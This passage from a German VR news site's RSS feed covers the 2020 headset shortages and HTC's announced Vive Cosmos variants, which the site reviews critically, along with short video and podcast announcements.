    Besser verfügbar ist zumindest die Oculus Rift S bei Mediamarkt und Saturn: In diversen Märkten ist die VR-Brille lagernd verfügbar und sogar der Onlineshop kann liefern. Oculus Quest ist allerdings auch hier nur noch schwer zu bekommen – schaut bei Interesse aber am besten in einem Markt vor Ort oder besucht Conrad und andere Elektromärkte, die Chancen sind deutlich besser als im Onlinehandel momentan. Die Valve Index hingegen gibt es ausschließlich bei Steam/Valve direkt, keine Chance auf im Regal vergessene Restposten.

    Abgesehen von einzelnen Pimax-Angeboten bei Alternate bleibt damit als momentan gut verfügbare VR-Brille der aktuellen Generation offenbar nur noch die HTC Vive Cosmos (und einzelne Angebote der Vive Pro). Wir können allerdings aufgrund unserer eigenen Erfahrungen mit dem Tracking der Cosmos nicht zu dieser VR-Brille raten – zumindest mit dem Updatestand Februar 2020 war das Tracking nicht einmal im SteamVR Home ausreichend nutzbar, von Spielen reden wir noch gar nicht.

    Unsere Prognose

    Die Lieferschwierigkeiten werden weiterhin anhalten, profitieren dürfte davon ausgerechnet HTC, deren Cosmos sich bislang aus für uns sehr gut nachvollziehbaren Gründen eher schleppend verkaufte. Wir raten euch allerdings eher zu Geduld statt um Cosmos-Kauf, zu desaströs war das Tracking mit den sechs Inside-Out-Kameras. Cosmos Elite mit Lighthouse-Tracking würde diese Problem zwar umgehen, wir können euch aber dennoch nicht zum Kauf für 999 Euro raten, da hier das Preis-Leistungsverhältnis schon aufgrund der beiliegenden 2016-Controller (Vive Wands) absolut nicht stimmt. Eine Index, so verfügbar, bietet für nur wenig mehr Geld Lighthous 2.0 und Index Controller sowie das rundherum deutlich bessere Headset inklusive größerem Field of View, sehr guter Audiolösung und vorbildlichem Mikrofon. Wartet besser.

    Beobachtungsliste für VR-Verfügbarkeit

    [amazon_link asins=’B07PTMKYS7,B07P6Y5DNT,B07R3N7BTB,B07XLN6WSX‘ template=’ProductCarousel‘ store=’vr-legion-21′ marketplace=’DE‘ link_id=’e4eae1d9-17a7-4b3a-811c-26d8294bccdb‘]

    Der Beitrag Oculus Rift S, Oculus Quest und Valve Index ausverkauft – Corona und Alyx sind schuld erschien zuerst auf VR-Legion.

    ]]>
    HTC bringt mehr Cosmos – Günstigere Cosmos Play, Lighthouse-Faceplate, Cosmos XR https://vr-legion.de/news/htc-bringt-mehr-cosmos-guenstigere-cosmos-play-lighthouse-faceplate-cosmos-xr/ Thu, 20 Feb 2020 11:07:32 +0000 https://vr-legion.de/?p=21668 Die HTC Vive Cosmos konnte uns bislang nicht so recht überzeugen. Nun kündigt HTC weitere Cosmos-Produkte an, unter anderem mit Lighthouse.

    Der Beitrag HTC bringt mehr Cosmos – Günstigere Cosmos Play, Lighthouse-Faceplate, Cosmos XR erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Die HTC Vive Cosmos konnte uns bislang nicht so recht überzeugen. Nun kündigt HTC weitere Cosmos-Produkte an, unter anderem mit Lighthouse.

    Als Nachfolgeprodukt der HTC Vive Pro war der Vive Cosmos einiges an Aufmerksamkeit in der VR-Szene garantiert. Vor allem die Abkehr vom zuverlässigen Lighthouse-Tracking hin zu Kamera-Inside-Out mit gleich sechs integrierten Kameras wurde neugierig aufgenommen – zumal HTC bereits früh ankündigte, später optional auch Lighthouse unterstützen zu wollen.

    Dieses „später“ rückt näher: Wie Engadget berichtet, werden nicht nur drei weitere Cosmos-Modelle sondern auch eine Frontplatte für Lighthouse-Tracking auf den Markt kommen.

    HTC Vive Cosmos kostet aktuell 699 Euro im Rahmen einer Rabattaktion, üblicherweise verlangt HTC 799 Euro. Die VR-Brille wird mit eigenen Controllern für das optische Tracking ausgeliefert, sonderlich überzeugen konnte uns das Tracking aber nicht – auch nach vielen Updates der Cosmos-Software ist es nicht zuverlässig und wird teilweise sogar von Playstation VR ausgestochen. Schwer vorstellbar aber wir haben ausgiebig geflucht beim Test. Dabei sprechen die technischen Daten (2.880×1.700 Pixel, 90 Hz, Wireless-Kit ist kompatibel) durchaus für die Cosmos – zumindest wenn ihr kein Controllertracking benötigt.

    Vive Cosmos Play – weniger Kameras, niedrigerer Preis?

    Angesichts des katastrophalen Abschneidens beim Tracking mit den sechs Kameras der Vive Cosmos überrascht die Ankündigung der Vive Cosmos Play. Dieses Einsteigermodell dürfte einen (hoffentlich spürbar) niedrigeren Preis bekommen, angesichts der Konkurrenz durch die 449 Euro teure Oculus Rift S bleibt HTC hier kaum Spielraum. HTC verzichtet bei der Cosmos Play auf zwei der sechs Kameras sowie auf die integrierten Kopfhörer. Laut HTC soll sich die Vive Cosmos Play gut für Anwendungen wie Viveport Video oder Angry Birds VR eignen.

    Ansonsten bleibt alles beim Alten, auch das Wireless-Kit wird sich mit der Cosmos Play nutzen lassen und auch Features wie das hochklappbare Visier sind vorhanden. Unsere Einschätzungen dazu findet ihr im Fazit dieser News.

    Eine, zugegeben subjektive, Meinung zur Vive Cosmos 

    Vive Cosmos Elite – Einmal VR mit alles (und scharf), bitte

    Den umgekehrten Weg geht HTC bei der Vive Cosmos Elite – statt abzuspecken wird draufgelegt. Im Grunde handelt es sich bei der Elite um eine Vive Cosmos mit beiliegender Faceplate für Lighthouse-Tracking, beiliegenden Lighthouse-Sensoren (allerdings Lighthouse 1.0) sowie Vive Wand Controllern. Das umgeht das nervige Cosmos-Kameratracking und ermöglicht das Upgrade auf die Valve Index Controller – kostet als Gesamtpaket laut HTC aber um die 990 US-Dollar im Gesamtpaket. Angesichts der Preise von gut 120 Dollar pro Lighthouse-Station und pro Controller vielleicht sogar nachvollziehbar. Hierzulande sollen es übrigens 999 Euro werden.

    Lighthouse Faceplate zum Nachrüsten

    Wer bereits eine Cosmos besitzt und trotzdem auf Lighthouse umsteigen will (besonders praktisch natürlich, wenn bereits Sensoren und Controller vorhanden sind), soll in Zukunft auch die Lighthouse-Frontplatte einzeln erwerben können. Diese wird einfach vorne an der VR-Brille statt der Abdeckung mit den zusätzlichen Kameras montiert. Der Preis soll bei ca. 219 US-Dollar liegen – natürlich ohne Lighthouse-Sensoren oder Controller, diese werden zusätzlich ebenfalls benötigt. Das Faceplate-Upgrade lohnt sich daher am ehesten alle, die diese Hardware bereits besitzen.

    Vive Cosmos XR – VR und AR in einem Produkt

    XR, das Zauberwort im Jahr 2020. Gemeint ihr hier die Mischung aus Virtual- und Augmented Reality. Die Cosmos XR ist eine normale Vive Cosmos, erweitert um zwei höher auflösende Frontkameras für ein hochwertiges Passthrough – die Kameras bringen ein Stereobild der realen Welt in die VR-Brille, so dass sie wie eine unhandliche AR-Brille genutzt werden kann. Auch das französische Profigerät Lynx nutzt diesen Ansatz. Vorteil: Klassische AR-Brillen nutzen ein sehr kleines Sichtfeld von teilweise nur 30-45 Grad. VR-Brillen wie die Cosmos kommen auf 100 Grad. Allerdings hat dieses AR dann auch nicht mehr viel mit der Freiheit zu tun, mit einer leichten Sonnenbrille durch die Stadt zu laufen und die um Informationen oder Grafik erweiterte Welt zu bewundern – Cosmos-XR ist eher eine stationäre Angelegenheit.

    Fazit und Einschätzung der Legion

    Wäre die HTC Vive Cosmos eine anstandslos funktionierende VR-Brille mit einwandfreiem Inside-Out-Tracking – wir würden uns über diese Ankündigungen freuen. Eine günstigere Cosmos – geil! XR ist ja auch immer spannend irgendwie. Allerdings hat die Cosmos ein grundlegendes Problem: Ihr Tracking funktioniert nicht. Selbst das mit nur zwei Kameras arbeitende Windows Mixed Reality bietet ein spürbar zuverlässigeres Tracking (und darüber haben wir schon massiv geschimpft). Da HTC zwar viele Updates zur Verbesserung bereitstellt, diese aber bislang kaum etwas verbessert haben, tippen wir eher auf ein Hardware- als auf ein Softwareproblem – optisches Tracking ist nicht so einfach umzusetzen wie man sich denken mag, wenn die Lichtquellen an den Controllern dann nicht ausreichend weise angeordnet sind, kann das problematisch werden.

    Eines ist aber sicher: Wenn HTC für die Cosmos Play zwei der sechs Kameras entfernt, dürfte das die Trackingqualität nicht unbedingt verbessern. Im Gegenteil. Außerdem eröffnet HTC sich damit eine weitere Optimierungsbaustelle: In der Software muss fortan das Tracking mit sechs und mit vier Kameras gepflegt und optimiert werden. Viel Spaß.

    Sinnvoller erscheint da die Cosmos XR, auch wenn wir diese eher nicht im Privathaushalt sondern mehr in Unternehmenseinsätzen sehen. Und die Cosmos Elite? Eine Cosmos mit Tracking, wie man es seit 2016 gewohnt ist und dann nur mit den aus heutiger Sicht arg veralteten Wand-Controllern?

    Auf uns wirken diese Ankündigungen nicht nur halbherzig sondern teilweise sogar problematisch. Wie seht ihr das?

    Quelle: Engadget

     

    [amazon_link asins=’B07HC8CQGK,B07PTMKYS7,B07XLN6WSX‘ template=’ProductCarousel‘ store=’vr-legion-21′ marketplace=’DE‘ link_id=’b69ac0d4-f89f-42df-8838-c0850e960cbf‘]

     

    Der Beitrag HTC bringt mehr Cosmos – Günstigere Cosmos Play, Lighthouse-Faceplate, Cosmos XR erschien zuerst auf VR-Legion.

    ]]>
    MRTV – VIVE COSMOS Tracking https://vr-legion.de/videos/mrtv-vive-cosmos-tracking/ Wed, 12 Feb 2020 04:58:52 +0000 https://vr-legion.de/?p=21466 Sebastian testet das Tracking der Cosmos nach dem neuesten Update. 

    Der Beitrag MRTV – VIVE COSMOS Tracking erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Sebastian testet das Tracking der Cosmos nach dem neuesten Update. 

    Die aktuellste Version ist die Version 1.0.10.4, und Sebastian testet das HMD mit diesem Update auf Herz und Nieren.

     

    Der Beitrag MRTV – VIVE COSMOS Tracking erschien zuerst auf VR-Legion.

    ]]>
    MRTV – Vive Cosmos Tracking Update 1.0.8.8 https://vr-legion.de/videos/mrtv/mrtv-vive-cosmos-tracking-update-1-0-8-8/ Wed, 11 Dec 2019 04:52:40 +0000 https://vr-legion.de/?p=19461 Sebastian hat sich das neueste Update für die Vive Cosmos getestet.

    Der Beitrag MRTV – Vive Cosmos Tracking Update 1.0.8.8 erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Sebastian hat sich das neueste Update für die Vive Cosmos getestet.

    Das neue Update hat die Version 1.0.8.8 und soll das Tracking verbessern. Sebastian testet das Update auf Herz und Nieren.

    Der Beitrag MRTV – Vive Cosmos Tracking Update 1.0.8.8 erschien zuerst auf VR-Legion.

    ]]>
    MRTV – Wireless Kit für Cosmos – Kabellos mit der Cosmos – Unboxing, Setup, Test https://vr-legion.de/videos/mrtv-wireless-kit-fuer-cosmos-kabellos-mit-der-cosmos-unboxing-setup-test/ Tue, 12 Nov 2019 22:29:44 +0000 https://vr-legion.de/?p=18102 Ihr wollt die Vive Cosmos Kabellos betreiben? Sebastian zeigt euch wie!

    Der Beitrag MRTV – Wireless Kit für Cosmos – Kabellos mit der Cosmos – Unboxing, Setup, Test erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Ihr wollt die Vive Cosmos Kabellos betreiben? Sebastian zeigt euch wie!

    Das Vive Wireless Kit kostet ca. 400€. Ob sich das überhaupt lohnt seht ihr in Sebastians Video.

    Der Beitrag MRTV – Wireless Kit für Cosmos – Kabellos mit der Cosmos – Unboxing, Setup, Test erschien zuerst auf VR-Legion.

    ]]>
    Alternative Realitäten – der neue VR-Podcast von MRTV, Nici, Mo fun VR und der VR-Legion -Teil 2 https://vr-legion.de/internes/alternative-realitaeten-der-neue-vr-podcast-von-mrtv-nici-mo-fun-vr-und-der-vr-legion/ Sun, 27 Oct 2019 17:30:53 +0000 https://vr-legion.de/?p=17150 Es ist soweit - ein neuer VR-Podcast erblickt das Licht der Abspielgeräte: Alternative Realitäten gibt es für euch ab sofort jeden Sonntag um 19 Uhr mit MRTV, Nici, Mo fun VR und Dod von der Legion.

    Der Beitrag Alternative Realitäten – der neue VR-Podcast von MRTV, Nici, Mo fun VR und der VR-Legion -Teil 2 erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Es ist soweit – ein neuer VR-Podcast erblickt das Licht der Abspielgeräte: Alternative Realitäten gibt es für euch ab sofort jeden Sonntag um 19 Uhr mit MRTV, Nici, Mo fun VR und Dod von der Legion.

    Update: 

    Ab 19 Uhr ist es wieder so weit: Die zweite Folge unseres gemeinsamen Podcasts entsteht und ihr könnt live dabei sein. Schaut bei Youtube rein oder hört uns später in der Audiovariante beispielsweise bei Soundcloud.

     

    Ursprüngliche News:

    Podcasts kann es nie genug geben, oder was meint ihr? Ab sofort habt ihr jedenfalls etwas mehr Auswahl, wenn es um Geplauder rund um VR und AR geht. Jeden Sonntag ab 19 Uhr, etwa zwei Stunden sind geplant, gehen MRTV, GamingLadyNici, Mo fun VR und Dod von der VR-Legion live bei Youtube (ja, sogar mit Video), in den Tagen danach wird die Audiovariante über die gängigen Podcast-Distributionskanäle verteilt.

    Der neue VR Podcast: Alternative Realitäten

    Ihr müsst also bei der Fahrt zur Arbeit, beim Kochen, Baden, entspannen oder Einschlagen nicht mehr auf die Stimmen euer (hoffentlich) Lieblings-VR-Berichterstatter verzichten. Wir werden über aktuelle Themen aus den Bereichen VR und AR reden und zudem regelmäßig auch Gäste zum Talk einladen.

    Pilotfolge mit Asgard’s Wrath, Vive Cosmos und Varjo VR-2

    Schaut und hört doch einfach mit rein, kostet nix und kann nur gut werden. Pilotfolge: Sonntag, 20. Oktober ab 19 Uhr. Danach regelmäßig jeden Sonntag um die gleiche Zeit live bei Youtube. Und natürlich werden wir euch auch hier immer wieder darauf hinweisen.

    Der Beitrag Alternative Realitäten – der neue VR-Podcast von MRTV, Nici, Mo fun VR und der VR-Legion -Teil 2 erschien zuerst auf VR-Legion.

    ]]>
    MRTV – Vive Cosmos https://vr-legion.de/videos/mrtv-vive-cosmos/ Thu, 12 Sep 2019 11:57:35 +0000 https://vr-legion.de/?p=15651 Auch Sebastian hat die Infos zur Vive Cosmos noch einmal zusammen gefasst. 

    Der Beitrag MRTV – Vive Cosmos erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Auch Sebastian hat die Infos zur Vive Cosmos noch einmal zusammen gefasst. 

    Wenn ihr also lieber Videos schaut als zu lesen, schaut euch das Video an.

     

    Der Beitrag MRTV – Vive Cosmos erschien zuerst auf VR-Legion.

    ]]>